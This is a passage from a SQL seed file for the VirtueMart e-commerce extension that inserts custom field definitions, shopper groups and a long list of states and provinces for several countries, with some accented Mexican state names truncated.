`admin_only`, `custom_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1,0, 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, 1, '2011-05-25 21:52:43', 62, '2011-05-25 21:52:43', 62, '0000-00-00 00:00:00', 0), (2,0, 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); INSERT INTO `#__virtuemart_shoppergroups` (`virtuemart_shoppergroup_id`, `virtuemart_vendor_id`, `shopper_group_name`, `shopper_group_desc`, `default`, `shared`, `published`) VALUES (2, 1, 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT', 'COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_DESCR', 1, 1, 1), (1, 1, 'COM_VIRTUEMART_SHOPPERGROUP_GUEST', 'COM_VIRTUEMART_SHOPPERGROUP_GUEST_DESCR', 2, 1, 1); -- -- Dumping data for table `#__virtuemart_states` -- INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `virtuemart_worldzone_id`, `state_name`, `state_3_code`, `state_2_code`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 1, 223, 0, 'Alabama', 'ALA', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 1, 223, 0, 'Alaska', 'ALK', 'AK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 1, 223, 0, 'Arizona', 'ARZ', 'AZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 223, 0, 'Arkansas', 'ARK', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 223, 0, 'California', 'CAL', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 1, 223, 0, 'Colorado', 'COL', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 223, 0, 'Connecticut', 'CCT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 1, 223, 0, 'Delaware', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 223, 0, 'District Of Columbia', 'DOC', 'DC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 223, 0, 'Florida', 'FLO', 'FL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 223, 0, 'Georgia', 'GEA', 'GA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 223, 0, 'Hawaii', 'HWI', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 1, 223, 0, 'Idaho', 'IDA', 'ID', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 1, 223, 0, 'Illinois', 'ILL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 223, 0, 'Indiana', 'IND', 'IN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 223, 0, 'Iowa', 'IOA', 'IA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 223, 0, 'Kansas', 'KAS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 223, 0, 'Kentucky', 'KTY', 'KY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 223, 0, 'Louisiana', 'LOA', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 223, 0, 'Maine', 'MAI', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 223, 0, 'Maryland', 'MLD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 223, 0, 'Massachusetts', 'MSA', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 1, 223, 0, 'Michigan', 'MIC', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 223, 0, 'Minnesota', 'MIN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 223, 0, 'Mississippi', 'MIS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 223, 0, 'Missouri', 'MIO', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 223, 0, 'Montana', 'MOT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (28, 1, 223, 0, 'Nebraska', 'NEB', 'NE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 223, 0, 'Nevada', 'NEV', 'NV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 223, 0, 'New Hampshire', 'NEH', 'NH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 223, 0, 'New Jersey', 'NEJ', 'NJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 223, 0, 'New Mexico', 'NEM', 'NM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 223, 0, 'New York', 'NEY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 223, 0, 'North Carolina', 'NOC', 'NC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 223, 0, 'North Dakota', 'NOD', 'ND', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (36, 1, 223, 0, 'Ohio', 'OHI', 'OH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (37, 1, 223, 0, 'Oklahoma', 'OKL', 'OK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (38, 1, 223, 0, 'Oregon', 'ORN', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (39, 1, 223, 0, 'Pennsylvania', 'PEA', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 223, 0, 'Rhode Island', 'RHI', 'RI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 223, 0, 'South Carolina', 'SOC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 223, 0, 'South Dakota', 'SOD', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (43, 1, 223, 0, 'Tennessee', 'TEN', 'TN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 223, 0, 'Texas', 'TXS', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (45, 1, 223, 0, 'Utah', 'UTA', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 223, 0, 'Vermont', 'VMT', 'VT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 223, 0, 'Virginia', 'VIA', 'VA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (48, 1, 223, 0, 'Washington', 'WAS', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 223, 0, 'West Virginia', 'WEV', 'WV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (50, 1, 223, 0, 'Wisconsin', 'WIS', 'WI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (51, 1, 223, 0, 'Wyoming', 'WYO', 'WY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (52, 1, 38, 0, 'Alberta', 'ALB', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (53, 1, 38, 0, 'British Columbia', 'BRC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (54, 1, 38, 0, 'Manitoba', 'MAB', 'MB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (55, 1, 38, 0, 'New Brunswick', 'NEB', 'NB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (56, 1, 38, 0, 'Newfoundland and Labrador', 'NFL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (57, 1, 38, 0, 'Northwest Territories', 'NWT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (58, 1, 38, 0, 'Nova Scotia', 'NOS', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (59, 1, 38, 0, 'Nunavut', 'NUT', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (60, 1, 38, 0, 'Ontario', 'ONT', 'ON', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (61, 1, 38, 0, 'Prince Edward Island', 'PEI', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (62, 1, 38, 0, 'Quebec', 'QEC', 'QC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (63, 1, 38, 0, 'Saskatchewan', 'SAK', 'SK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (64, 1, 38, 0, 'Yukon', 'YUT', 'YT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (65, 1, 222, 0, 'England', 'ENG', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (66, 1, 222, 0, 'Northern Ireland', 'NOI', 'NI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (67, 1, 222, 0, 'Scotland', 'SCO', 'SD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (68, 1, 222, 0, 'Wales', 'WLS', 'WS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (69, 1, 13, 0, 'Australian Capital Territory', 'ACT', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (70, 1, 13, 0, 'New South Wales', 'NSW', 'NS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (71, 1, 13, 0, 'Northern Territory', 'NOT', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (72, 1, 13, 0, 'Queensland', 'QLD', 'QL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (73, 1, 13, 0, 'South Australia', 'SOA', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (74, 1, 13, 0, 'Tasmania', 'TAS', 'TS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (75, 1, 13, 0, 'Victoria', 'VIC', 'VI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (76, 1, 13, 0, 'Western Australia', 'WEA', 'WA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (77, 1, 138, 0, 'Aguascalientes', 'AGS', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (78, 1, 138, 0, 'Baja California Norte', 'BCN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (79, 1, 138, 0, 'Baja California Sur', 'BCS', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (80, 1, 138, 0, 'Campeche', 'CAM', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (81, 1, 138, 0, 'Chiapas', 'CHI', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (82, 1, 138, 0, 'Chihuahua', 'CHA', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (83, 1, 138, 0, 'Coahuila', 'COA', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (84, 1, 138, 0, 'Colima', 'COL', 'CM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (85, 1, 138, 0, 'Distrito Federal', 'DFM', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (86, 1, 138, 0, 'Durango', 'DGO', 'DO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (87, 1, 138, 0, 'Guanajuato', 'GTO', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (88, 1, 138, 0, 'Guerrero', 'GRO', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (89, 1, 138, 0, 'Hidalgo', 'HGO', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (90, 1, 138, 0, 'Jalisco', 'JAL', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (91, 1, 138, 0, 'M', 'EDM', 'EM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (92, 1, 138, 0, 'Michoac', 'MCN', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (93, 1, 138, 0, 'Morelos', 'MOR', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (94, 1, 138, 0, 'Nayarit', 'NAY', 'NY', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (95, 1, 138, 0, 'Nuevo Le', 'NUL', 'NL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (96, 1, 138, 0, 'Oaxaca', 'OAX', 'OA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (97, 1, 138, 0, 'Puebla', 'PUE', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (98, 1, 138, 0, 'Quer', 'QRO', 'QU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (99, 1, 138, 0, 'Quintana Roo', 'QUR', 'QR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (100, 1, 138, 0, 'San Luis Potos', 'SLP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (101, 1, 138, 0, 'Sinaloa', 'SIN', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (102, 1, 138, 0, 'Sonora', 'SON', 'SO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (103, 1, 138, 0, 'Tabasco', 'TAB', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (104, 1, 138, 0, 'Tamaulipas', 'TAM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (105, 1, 138, 0, 'Tlaxcala', 'TLX', 'TX', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (106, 1, 138, 0, 'Veracruz', 'VER', 'VZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (107, 1, 138, 0, 'Yucat', 'YUC', 'YU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (108, 1, 138, 0, 'Zacatecas', 'ZAC', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (109, 1, 30, 0, 'Acre', 'ACR', 'AC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (110, 1, 30, 0, 'Alagoas', 'ALG', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (111, 1, 30, 0, 'Amapá', 'AMP', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (112, 1, 30, 0, 'Amazonas', 'AMZ', 'AM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (113, 1, 30, 0, 'Bahía', 'BAH', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (114, 1, 30, 0, 'Ceará', 'CEA', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (115, 1, 30, 0, 'Distrito Federal', 'DFB', 'DF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (116, 1, 30, 0, 'Espírito Santo', 'ESS', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (117, 1, 30, 0, 'Goiás', 'GOI', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (118, 1, 30, 0, 'Maranhão', 'MAR', 'MA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (119, 1, 30, 0, 'Mato Grosso', 'MAT', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (120, 1, 30, 0, 'Mato Grosso do Sul', 'MGS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 30, 0, 'Minas Gerais', 'MIG', 'MG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 30, 0, 'Paraná', 'PAR', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (123, 1, 30, 0, 'Paraíba', 'PRB', 'PB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 30, 0, 'Pará', 'PAB', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 30, 0, 'Pernambuco', 'PER', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 30, 0, 'Piauí', 'PIA', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 30, 0, 'Rio Grande do Norte', 'RGN', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 30, 0, 'Rio Grande do Sul', 'RGS', 'RS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (129, 1, 30, 0, 'Rio de Janeiro', 'RDJ', 'RJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 30, 0, 'Rondônia', 'RON', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 30, 0, 'Roraima', 'ROR', 'RR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 30, 0, 'Santa Catarina', 'SAC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 30, 0, 'Sergipe', 'SER', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 30, 0, 'São Paulo', 'SAP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 30, 0, 'Tocantins', 'TOC', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 44, 0, 'Anhui', 'ANH', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 44, 0, 'Beijing', 'BEI', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (138, 1, 44, 0, 'Chongqing', 'CHO', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 44, 0, 'Fujian', 'FUJ', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 44, 0, 'Gansu', 'GAN', '62', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 44, 0, 'Guangdong', 'GUA', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 44, 0, 'Guangxi Zhuang', 'GUZ', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (143, 1, 44, 0, 'Guizhou', 'GUI', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 44, 0, 'Hainan', 'HAI', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (145, 1, 44, 0, 'Hebei', 'HEB', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (146, 1, 44, 0, 'Heilongjiang', 'HEI', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 44, 0, 'Henan', 'HEN', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 44, 0, 'Hubei', 'HUB', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 44, 0, 'Hunan', 'HUN', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (150, 1, 44, 0, 'Jiangsu', 'JIA', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 44, 0, 'Jiangxi', 'JIX', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 44, 0, 'Jilin', 'JIL', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 44, 0, 'Liaoning', 'LIA', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 44, 0, 'Nei Mongol', 'NML', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (155, 1, 44, 0, 'Ningxia Hui', 'NIH', '64', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 44, 0, 'Qinghai', 'QIN', '63', 0, 